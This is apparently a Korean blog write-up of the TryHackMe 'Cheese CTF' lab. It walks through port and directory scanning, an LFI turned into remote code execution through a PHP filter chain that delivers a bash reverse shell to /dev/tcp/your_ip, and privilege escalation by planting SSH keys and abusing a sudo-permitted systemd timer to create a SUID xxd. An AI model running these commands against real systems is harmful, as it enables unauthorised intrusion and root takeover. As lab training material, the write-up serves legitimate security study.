*https://tryhackme.com/r/room/cheesectfv10
Cheese CTF
Inspired by the great cheese talk of THM!
tryhackme.com
1.Port Scan Enumeration - Reconnaissance&Scanning
$ sudo nmap -sS -p- -n -Pn --min-rate=10000 cheese.thm
Warning: 10.10.117.1 giving up on port because retransmission cap hit (10).
Nmap scan report for cheese.thm (10.10.117.1)
Host is up (0.27s latency).
Not shown: 36 filtered tcp ports (no-response)
PORT STATE SERVICE
1/tcp open tcpmux
2/tcp open compressnet
3/tcp open compressnet
4/tcp open unknown
5/tcp open rje
6/tcp open unknown
7/tcp open echo
8/tcp open unknown
..
65530/tcp open unknown
65531/tcp open unknown
65532/tcp open unknown
65533/tcp open unknown
65534/tcp open unknown
65535/tcp open unknown
-모든 포트가 오픈되어 있습니다. 다른 옵션으로도 스캐닝을 시도해보았지만 역시 도움이 되지는 않았습니다.
2.Directory Enumeration - Reconnaissance&Scanning
-치즈와 관련된 페이지가 있습니다. 소스코드를 보면 login.php만 구현이 되어 있는 것을 볼 수 있습니다.
-php 확장자가 있는 페이지가 있다는 것을 알 수 있었습니다.
$ gobuster dir -u http://cheese.thm/ -w /usr/share/wordlists/dirb/big.txt -t 150 -x .txt,.php,.html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cheese.thm/
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 309] [--> http://cheese.thm/images/]
/index.html (Status: 200) [Size: 1759]
/login.php (Status: 200) [Size: 834]
/messages.html (Status: 200) [Size: 448]
/orders.html (Status: 200) [Size: 380]
/users.html (Status: 200) [Size: 377]
Progress: 81880 / 81884 (100.00%)
===============================================================
Finished
===============================================================
-http://cheese.thm 아래 파일 나열 결과입니다.
-여러 파일이 노출되는 것을 볼 수 있습니다.
-orders.html 이나 users.html 의 경우 글자만 출력되는 것을 보아 개발이 덜 된 것 같습니다.
-messages.html 의 경우 연결된 링크를 클릭해보면 secret-script.php 로 이동되며 LFI 취약점이 발생할 것 같은 파라미터 구조를 보여주고 있습니다.
3.LFI - Gaining access
-기본 페이지 구성은 php://filter/resource 형태로 삽입되어 있어서 절대 경로인 '/etc/passwd'를 삽입하면 해당 파일 내용이 출력됩니다.
-중요 파일을 나열하거나 /etc/passwd에 있던 'comte'라는 이용자에 대한 ssh 파일을 찾아보았으나, 괜찮은 파일을 찾지는 못했습니다.
-또한 여러가지 필터들을 사용하여 RCE나 웹 쉘 업로드를 시도해보았지만 실패했습니다.
-LFI 취약점 관련 RCE 연계 방법을 하나 찾았는데, php filter chian 기법을 이용한 RCE가 방식이 존재한다고 합니다.
*https://github.com/synacktiv/php_filter_chain_generator
GitHub - synacktiv/php_filter_chain_generator
Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.
github.com
-해당 방식을 이용하면 Reverse shell 구문을 다양한 인코딩 기법등을 이용해 우회구문으로 변환할 수 있습니다.
$ python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/your_ip/your_port 0>&1\"')?>"
-위 명령어로 출력된 결과를 복사하여 secret-script.php의 file 파라미터 아래에 붙여 넣어 전송하면 Reverse shell이 연결됩니다.
$ nc -nvlp 4444
listening on [any] 4444 ..
..
www-data@cheesectf:/var/www/html$
4.www-data -> comte - Privilege Escalation
www-data@cheesectf:/var/www/html$ ls -al /home/comte
total 52
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 .
drwxr-xr-x 3 root root 4096 Sep 27 2023 ..
-rw------- 1 comte comte 55 Apr 4 2024 .Xauthority
lrwxrwxrwx 1 comte comte 9 Apr 4 2024 .bash_history -> /dev/null
-rw-r--r-- 1 comte comte 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 comte comte 3771 Feb 25 2020 .bashrc
drwx------ 2 comte comte 4096 Sep 27 2023 .cache
drwx------ 3 comte comte 4096 Mar 25 2024 .gnupg
drwxrwxr-x 3 comte comte 4096 Mar 25 2024 .local
-rw-r--r-- 1 comte comte 807 Feb 25 2020 .profile
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .ssh
-rw-r--r-- 1 comte comte 0 Sep 27 2023 .sudo_as_admin_successful
drwx------ 3 comte comte 4096 Mar 25 2024 snap
-rw------- 1 comte comte 4276 Sep 15 2023 user.txt
www-data@cheesectf:/var/www/html$ ls -al /home/comte/.ssh
total 8
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .
drwxr-xr-x 7 comte comte 4096 Apr 4 2024 ..
-rw-rw-rw- 1 comte comte 0 Mar 25 2024 authorized_keys
-comte 이용자의 .ssh 디렉터리 아래에 authorized_keys 파일이 world writable 권한으로 존재함을 알 수 있었습니다.
$ ssh-keygen
Generating public/private rsa key pair.
$ cat /home/fujimoto/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD...
...BKLE= attacker@kali
-공격자의 터미널에서 ssh-keygen을 통해 ssh 키를 생성하고 공개키 값을 복사합니다.
www-data@cheesectf:/var/www/html$ echo' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD...BKLE=' >> /home/comte/.ssh/authorized_keys
-복사한 공개키 값을 authorized_keys에 추가하여 공격자의 ssh 키로 comte 이용자 ssh에 접근할 수 있도록 설정합니다.
$ ssh comte@cheese.thm -i ~/.ssh/id_rsa
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)
...
comte@cheesectf:~$
-공격자의 터미널에서 id_rsa 개인키를 통해 ssh 접근하게 되면 comte 이용자로 접근할 수 있게됩니다.
5.comte -> root - Privilege Escalation
comte@cheesectf:~$ uname -a
Linux cheesectf 5.4.0-174-generic #193-Ubuntu SMP Thu Mar 7 14:29:28 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
comte@cheesectf:~$ whoami; id
comte
uid=1000(comte) gid=1000(comte) groups=1000(comte),24(cdrom),30(dip),46(plugdev)
comte@cheesectf:~$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer
-comte 이용자에는 NOPASSWD 설정된 sudo 권한이 존재합니다.
comte@cheesectf:/etc/systemd/system$ ls -al
total 128
..
-rw-r--r-- 1 root root 141 Mar 29 2024 exploit.service
-rwxrwxrwx 1 root root 87 Mar 29 2024 exploit.timer
..
-exploit.service와 exploit.timer 파일이 존재합니다.
comte@cheesectf:/etc/systemd/system$ cat exploit.timer
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=
[Install]
WantedBy=timers.target
comte@cheesectf:/etc/systemd/system$ cat exploit.service
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
-exploit.timer 파일은 완성이 되지 않은 모습입니다.
-exploit.service 파일은 xxd를 /opt/xxd로 복사하여 suid 비트 설정을 하는 서비스 파일입니다.
comte@cheesectf:/etc/systemd/system$ cat exploit.timer
[Unit]
Description=Exploit Timer
[Timer]
OnCalendar=*:0/1
[Install]
WantedBy=timers.target
comte@cheesectf:/etc/systemd/system$ sudo /bin/systemctl enable exploit.timer
comte@cheesectf:/etc/systemd/system$ sudo /bin/systemctl start exploit.timer
comte@cheesectf:/etc/systemd/system$ ls -al /opt/xxd
-rwsr-sr-x 1 root root 18712 Oct 30 12:25 /opt/xxd
-완성되지 않은 exploit.timer를 1분마다 실행되도록 설정한 후 enable -> start 과정을 거치면 exploit.timer가 작동합니다.
-완성된 exploit.timer를 통해 exploit.service가 실행되고 /opt/xxd가 생성된 것을 알 수 있습니다.
*https://gtfobins.github.io/gtfobins/xxd/
xxd | GTFOBins
.. / xxd File write File read SUID Sudo File write It writes data to files, it may be used to do privileged writes or write files outside a restricted file system. LFILE=file_to_write echo DATA | xxd | xxd -r - "$LFILE" File read It reads data from files,
gtfobins.github.io
comte@cheesectf:/etc/systemd/system$ echo 'ssh-rsa AAAA...8mpBKLE=' | /opt/xxd | /opt/xxd -r - /root/.ssh/authorized_keys
-suid가 설정된 xxd는 파일 시스템 조작을 통해 읽기, 쓰기가 가능합니다. 따라서 comte 이용자 권한 상승처럼 공격자의 공개키 값을 복사해 /root/.ssh/authorized_keys에 추가하고 공격자 터미널에서 SSH로 접근할 수 있습니다.
$ ssh root@cheese.thm -i ~/.ssh/id_rsa
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)
...
root@cheesectf:~# whoami
root
root@cheesectf:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cheesectf:~# cat .bash_history
..
git clone https://github.com/drk1wi/portspoof.git
cd portspoof/
..
systemctl status portspoof.service
..
-/root 디렉터리 아래에는 .bash_history 파일이 존재했어서 내용을 살펴보다 관리자가 portspoof 라는 프로그램을 사용했다는 것을 알아냈습니다.
-Port scanning 과정에서 제대로 스캔이 되지 않았던 이유가 해당 프로그램을 사용해 65535 TCP port를 모두 열고 있었기 때문이었나 봅니다.
*https://github.com/drk1wi/portspoof
GitHub - drk1wi/portspoof: Portspoof
Portspoof. Contribute to drk1wi/portspoof development by creating an account on GitHub.
github.com
Flag
user.txt
comte@cheesectf:~$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
THM{9f-----------------------------------17a}
root.txt
root@cheesectf:~# cat root.txt
_ _ _ _ __
___| |__ ___ ___ ___ ___ (_)___ | (_)/ _| ___
/ __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | | __/ __/\__ \ __/ | \__ \ | | | _| __/
\___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_| \___|
THM{dca--------------------------------0167c}
'write-up > penetration test' 카테고리의 다른 글
[wargame - pen]HA Joker CTF (1) | 2024.12.13 |
---|---|
[wargame - pen]Pyrat (0) | 2024.10.18 |
[pen]Wekor (4) | 2024.10.05 |
[pen]U.A.Highschool (2) | 2024.09.13 |
Tokyo Ghoul (0) | 2024.06.29 |